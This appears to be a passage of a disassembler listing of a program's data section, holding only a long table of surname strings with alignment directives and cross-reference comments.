aHooker		db 'Hooker',0           ; DATA XREF: .data:0043CC9Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: .data:0043CC98o
aHolway		db 'Holway',0           ; DATA XREF: .data:0043CC94o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: .data:0043CC90o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .data:0043CC8Co
aHolmes		db 'Holmes',0           ; DATA XREF: .data:0043CC88o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .data:0043CC84o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: .data:0043CC80o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: .data:0043CC7Co
aHoffer		db 'Hoffer',0           ; DATA XREF: .data:0043CC78o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: .data:0043CC74o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .data:0043CC70o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .data:0043CC6Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .data:0043CC68o
		align 4
aHind		db 'Hind',0             ; DATA XREF: .data:0043CC64o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .data:0043CC60o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: .data:0043CC5Co
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: .data:0043CC58o
aHester		db 'Hester',0           ; DATA XREF: .data:0043CC54o
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: .data:0043CC50o
aHernandez	db 'Hernandez',0        ; DATA XREF: .data:0043CC4Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: .data:0043CC48o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: .data:0043CC44o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: .data:0043CC40o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: .data:0043CC3Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .data:0043CC38o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: .data:0043CC34o
aHeiland	db 'Heiland',0          ; DATA XREF: .data:0043CC30o
aHeft		db 'Heft',0             ; DATA XREF: .data:0043CC2Co
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: .data:0043CC28o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .data:0043CC24o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .data:0043CC20o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: .data:0043CC1Co
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .data:0043CC18o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: .data:0043CC14o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .data:0043CC10o
aHartnett	db 'Hartnett',0         ; DATA XREF: .data:0043CC0Co
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: .data:0043CC08o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .data:0043CC04o
aHarrigan	db 'Harrigan',0         ; DATA XREF: .data:0043CC00o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: .data:0043CBFCo
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: .data:0043CBF8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: .data:0043CBF4o
aHanssen	db 'Hanssen',0          ; DATA XREF: .data:0043CBF0o
aHand		db 'Hand',0             ; DATA XREF: .data:0043CBECo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .data:0043CBE8o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .data:0043CBE4o
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .data:0043CBE0o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: .data:0043CBDCo
aHallowell	db 'Hallowell',0        ; DATA XREF: .data:0043CBD8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: .data:0043CBD4o
aHaley		db 'Haley',0            ; DATA XREF: .data:0043CBD0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .data:0043CBCCo
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: .data:0043CBC8o
aHaar		db 'Haar',0             ; DATA XREF: .data:0043CBC4o
		align 10h
aHa		db 'Ha',0               ; DATA XREF: .data:0043CBC0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: .data:0043CBBCo
aGunn		db 'Gunn',0             ; DATA XREF: .data:0043CBB8o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: .data:0043CBB4o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .data:0043CBB0o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: .data:0043CBACo
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .data:0043CBA8o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .data:0043CBA4o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: .data:0043CBA0o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .data:0043CB9Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .data:0043CB98o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .data:0043CB94o
aGozzi		db 'Gozzi',0            ; DATA XREF: .data:0043CB90o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .data:0043CB8Co
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: .data:0043CB88o
		align 4
aGood		db 'Good',0             ; DATA XREF: .data:0043CB84o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: .data:0043CB80o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .data:0043CB7Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .data:0043CB78o
aGlegg		db 'Glegg',0            ; DATA XREF: .data:0043CB74o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .data:0043CB70o
aGist		db 'Gist',0             ; DATA XREF: .data:0043CB6Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: .data:0043CB68o
		align 4
aGill		db 'Gill',0             ; DATA XREF: .data:0043CB64o
		align 10h
aGili		db 'Gili',0             ; DATA XREF: .data:0043CB60o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: .data:0043CB5Co
aGibson		db 'Gibson',0           ; DATA XREF: .data:0043CB58o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: .data:0043CB54o
aGhorai		db 'Ghorai',0           ; DATA XREF: .data:0043CB50o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: .data:0043CB4Co
aGeorgi		db 'Georgi',0           ; DATA XREF: .data:0043CB48o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: .data:0043CB44o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: .data:0043CB40o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: .data:0043CB3Co
aGarman		db 'Garman',0           ; DATA XREF: .data:0043CB38o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: .data:0043CB34o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: .data:0043CB30o
aGalwey		db 'Galwey',0           ; DATA XREF: .data:0043CB2Co
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: .data:0043CB28o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: .data:0043CB24o
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: .data:0043CB20o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: .data:0043CB1Co
		align 4
aFurth		db 'Furth',0            ; DATA XREF: .data:0043CB18o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: .data:0043CB14o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: .data:0043CB10o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: .data:0043CB0Co
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: .data:0043CB08o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: .data:0043CB04o
aFrisken	db 'Frisken',0          ; DATA XREF: .data:0043CB00o
aFriedland	db 'Friedland',0        ; DATA XREF: .data:0043CAFCo
		align 10h
aFried		db 'Fried',0            ; DATA XREF: .data:0043CAF8o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: .data:0043CAF4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: .data:0043CAF0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: .data:0043CAECo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: .data:0043CAE8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: .data:0043CAE4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: .data:0043CAE0o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: .data:0043CADCo
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: .data:0043CAD8o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: .data:0043CAD4o
aFortes		db 'Fortes',0           ; DATA XREF: .data:0043CAD0o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: .data:0043CACCo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: .data:0043CAC8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: .data:0043CAC4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: .data:0043CAC0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: .data:0043CABCo
aFisk		db 'Fisk',0             ; DATA XREF: .data:0043CAB8o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: .data:0043CAB4o
aFinnegan	db 'Finnegan',0         ; DATA XREF: .data:0043CAB0o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: .data:0043CAACo
aFink		db 'Fink',0             ; DATA XREF: .data:0043CAA8o
		align 10h
aField		db 'Field',0            ; DATA XREF: .data:0043CAA4o
		align 4
aFido		db 'Fido',0             ; DATA XREF: .data:0043CAA0o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: .data:0043CA9Co
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: .data:0043CA98o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: .data:0043CA94o
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: .data:0043CA90o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: .data:0043CA8Co
aFeldman	db 'Feldman',0          ; DATA XREF: .data:0043CA88o
aFejzo		db 'Fejzo',0            ; DATA XREF: .data:0043CA84o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: .data:0043CA80o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: .data:0043CA7Co
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: .data:0043CA78o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: .data:0043CA74o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: .data:0043CA70o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: .data:0043CA6Co
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: .data:0043CA68o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: .data:0043CA64o
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: .data:0043CA60o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: .data:0043CA5Co
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: .data:0043CA58o
aEverett	db 'Everett',0          ; DATA XREF: .data:0043CA54o
aEuripides	db 'Euripides',0        ; DATA XREF: .data:0043CA50o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: .data:0043CA4Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: .data:0043CA48o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: .data:0043CA44o
		align 4
aErez		db 'Erez',0             ; DATA XREF: .data:0043CA40o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: .data:0043CA3Co
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: .data:0043CA38o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: .data:0043CA34o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: .data:0043CA30o
aEnyeart	db 'Enyeart',0          ; DATA XREF: .data:0043CA2Co
aEncinas	db 'Encinas',0          ; DATA XREF: .data:0043CA28o
aElvis		db 'Elvis',0            ; DATA XREF: .data:0043CA24o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: .data:0043CA20o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .data:0043CA1Co
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: .data:0043CA18o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .data:0043CA14o
aEdward		db 'Edward',0           ; DATA XREF: .data:0043CA10o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: .data:0043CA0Co
		align 4
aEdley		db 'Edley',0            ; DATA XREF: .data:0043CA08o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: .data:0043CA04o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: .data:0043CA00o
aEardley	db 'Eardley',0          ; DATA XREF: .data:0043C9FCo
aDwyer		db 'Dwyer',0            ; DATA XREF: .data:0043C9F8o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: .data:0043C9F4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .data:0043C9F0o
aDuffin		db 'Duffin',0           ; DATA XREF: .data:0043C9ECo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .data:0043C9E8o
aDrinker	db 'Drinker',0          ; DATA XREF: .data:0043C9E4o
aDowsland	db 'Dowsland',0         ; DATA XREF: .data:0043C9E0o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: .data:0043C9DCo
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: .data:0043C9D8o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: .data:0043C9D4o
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: .data:0043C9D0o
		align 4
aDore		db 'Dore',0             ; DATA XREF: .data:0043C9CCo
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: .data:0043C9C8o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: .data:0043C9C4o
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: .data:0043C9C0o
aDoherty	db 'Doherty',0          ; DATA XREF: .data:0043C9BCo
aDockery	db 'Dockery',0          ; DATA XREF: .data:0043C9B8o
aDirksen	db 'Dirksen',0          ; DATA XREF: .data:0043C9B4o
aDionysius	db 'Dionysius',0        ; DATA XREF: .data:0043C9B0o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .data:0043C9ACo
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: .data:0043C9A8o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .data:0043C9A4o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .data:0043C9A0o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: .data:0043C99Co
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .data:0043C998o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: .data:0043C994o
aDesombre	db 'Desombre',0         ; DATA XREF: .data:0043C990o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .data:0043C98Co
aDenham		db 'Denham',0           ; DATA XREF: .data:0043C988o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .data:0043C984o
aDemusz		db 'Demusz',0           ; DATA XREF: .data:0043C980o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .data:0043C97Co
		align 4
aDeming		db 'Deming',0           ; DATA XREF: .data:0043C978o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0043C974o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .data:0043C970o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .data:0043C96Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: .data:0043C968o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: .data:0043C964o
		align 4
aDees		db 'Dees',0             ; DATA XREF: .data:0043C960o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .data:0043C95Co
aDerousse	db 'deRousse',0         ; DATA XREF: .data:0043C958o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .data:0043C954o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: .data:0043C950o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .data:0043C94Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .data:0043C948o
aDavid		db 'David',0            ; DATA XREF: .data:0043C944o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .data:0043C940o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .data:0043C93Co
		align 10h
aDas		db 'Das',0              ; DATA XREF: .data:0043C938o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0043C934o
aDapice		db 'Dapice',0           ; DATA XREF: .data:0043C930o
		align 4
aDante		db 'Dante',0            ; DATA XREF: .data:0043C92Co
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: .data:0043C928o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .data:0043C924o
aDaly		db 'Daly',0             ; DATA XREF: .data:0043C920o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: .data:0043C91Co
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .data:0043C918o
aCyders		db 'Cyders',0           ; DATA XREF: .data:0043C914o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .data:0043C910o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: .data:0043C90Co
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: .data:0043C908o
aCui		db 'Cui',0              ; DATA XREF: .data:0043C904o
aCroxton	db 'Croxton',0          ; DATA XREF: .data:0043C900o
aCroxen		db 'Croxen',0           ; DATA XREF: .data:0043C8FCo
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: .data:0043C8F8o
aCrocker	db 'Crocker',0          ; DATA XREF: .data:0043C8F4o
aCrawford	db 'Crawford',0         ; DATA XREF: .data:0043C8F0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: .data:0043C8ECo
aCounter	db 'Counter',0          ; DATA XREF: .data:0043C8E8o
aCosmides	db 'Cosmides',0         ; DATA XREF: .data:0043C8E4o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: .data:0043C8E0o
aCorey		db 'Corey',0            ; DATA XREF: .data:0043C8DCo
		align 4
aConnors	db 'Connors',0          ; DATA XREF: .data:0043C8D8o
aCondodina	db 'Condodina',0        ; DATA XREF: .data:0043C8D4o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .data:0043C8D0o
aComstock	db 'Comstock',0         ; DATA XREF: .data:0043C8CCo
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: .data:0043C8C4o
					; .data:0043C8C8o
aCollis		db 'Collis',0           ; DATA XREF: .data:0043C8C0o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: .data:0043C8BCo
aColella	db 'Colella',0          ; DATA XREF: .data:0043C8B8o
aColdren	db 'Coldren',0          ; DATA XREF: .data:0043C8B4o
aCoito		db 'Coito',0            ; DATA XREF: .data:0043C8B0o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: .data:0043C8ACo
aClow		db 'Clow',0             ; DATA XREF: .data:0043C8A8o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: .data:0043C8A4o
aClement	db 'Clement',0          ; DATA XREF: .data:0043C8A0o
aClark		db 'Clark',0            ; DATA XREF: .data:0043C89Co
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: .data:0043C898o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: .data:0043C894o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .data:0043C890o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .data:0043C88Co
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .data:0043C888o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .data:0043C884o
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: .data:0043C880o
		align 4
aChu		db 'Chu',0              ; DATA XREF: .data:0043C87Co
aChristopher	db 'Christopher',0      ; DATA XREF: .data:0043C878o
aChristie	db 'Christie',0         ; DATA XREF: .data:0043C874o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .data:0043C870o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: .data:0043C86Co
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: .data:0043C868o
aChinman	db 'Chinman',0          ; DATA XREF: .data:0043C864o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .data:0043C860o
aChilds		db 'Childs',0           ; DATA XREF: .data:0043C85Co
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .data:0043C858o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .data:0043C854o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: .data:0043C850o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .data:0043C84Co
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .data:0043C848o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: .data:0043C844o
		align 4
aCharles	db 'Charles',0          ; DATA XREF: .data:0043C840o
aChapman	db 'Chapman',0          ; DATA XREF: .data:0043C83Co
aCerioli	db 'Cerioli',0          ; DATA XREF: .data:0043C838o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .data:0043C834o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .data:0043C830o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .data:0043C82Co
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: .data:0043C828o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .data:0043C824o
		align 10h
aCase		db 'Case',0             ; DATA XREF: .data:0043C820o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .data:0043C81Co
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: .data:0043C818o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .data:0043C814o
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .data:0043C810o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: .data:0043C80Co
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .data:0043C808o
aCarlos		db 'Carlos',0           ; DATA XREF: .data:0043C804o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: .data:0043C800o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .data:0043C7FCo
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .data:0043C7F8o
aCapursi	db 'Capursi',0          ; DATA XREF: .data:0043C7F4o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .data:0043C7F0o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .data:0043C7ECo
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .data:0043C7E8o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: .data:0043C7E4o
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .data:0043C7E0o
aCanley		db 'Canley',0           ; DATA XREF: .data:0043C7DCo
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .data:0043C7D8o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: .data:0043C7D4o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .data:0043C7D0o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .data:0043C7CCo
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .data:0043C7C8o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .data:0043C7C4o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: .data:0043C7C0o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .data:0043C7BCo
aBurridge	db 'Burridge',0         ; DATA XREF: .data:0043C7B8o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .data:0043C7B4o
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: .data:0043C7B0o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .data:0043C7ACo
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: .data:0043C7A8o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: .data:0043C7A4o
aBudding	db 'Budding',0          ; DATA XREF: .data:0043C7A0o
aBuchan		db 'Buchan',0           ; DATA XREF: .data:0043C79Co
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: .data:0043C798o
aBrook		db 'Brook',0            ; DATA XREF: .data:0043C794o
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: .data:0043C790o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: .data:0043C78Co
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: .data:0043C788o
aBridges	db 'Bridges',0          ; DATA XREF: .data:0043C784o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .data:0043C780o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: .data:0043C778o
					; .data:0043C77Co
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .data:0043C774o
aBrenan		db 'Brenan',0           ; DATA XREF: .data:0043C770o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .data:0043C76Co
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: .data:0043C768o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .data:0043C764o
aBradac		db 'Bradac',0           ; DATA XREF: .data:0043C760o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: .data:0043C75Co
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: .data:0043C758o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: .data:0043C754o
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: .data:0043C750o
aBoyes		db 'Boyes',0            ; DATA XREF: .data:0043C74Co
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: .data:0043C748o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .data:0043C744o
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .data:0043C740o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .data:0043C73Co
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: .data:0043C738o
aBoudin		db 'Boudin',0           ; DATA XREF: .data:0043C734o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: .data:0043C730o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: .data:0043C72Co
aBossi		db 'Bossi',0            ; DATA XREF: .data:0043C728o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: .data:0043C724o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: .data:0043C720o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: .data:0043C71Co
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .data:0043C718o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .data:0043C714o
		align 10h
aBook		db 'Book',0             ; DATA XREF: .data:0043C710o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .data:0043C70Co
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: .data:0043C708o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: .data:0043C704o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: .data:0043C700o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: .data:0043C6FCo
aBollinger	db 'Bollinger',0        ; DATA XREF: .data:0043C6F8o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .data:0043C6F4o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .data:0043C6F0o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: .data:0043C6ECo
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .data:0043C6E8o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .data:0043C6E4o
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .data:0043C6E0o
aBloch		db 'Bloch',0            ; DATA XREF: .data:0043C6DCo
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .data:0043C6D8o
aBliss		db 'Bliss',0            ; DATA XREF: .data:0043C6D4o
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .data:0043C6D0o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .data:0043C6CCo
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: .data:0043C6C8o
		align 10h
aBlackwell	db 'Blackwell',0        ; DATA XREF: .data:0043C6C4o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .data:0043C6C0o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: .data:0043C6BCo
		align 10h
aBisema		db 'Bisema',0           ; DATA XREF: .data:0043C6B8o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .data:0043C6B4o
aBinion		db 'Binion',0           ; DATA XREF: .data:0043C6B0o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .data:0043C6ACo
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: .data:0043C6A8o
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: .data:0043C6A4o
aBetti		db 'Betti',0            ; DATA XREF: .data:0043C6A0o
		align 4
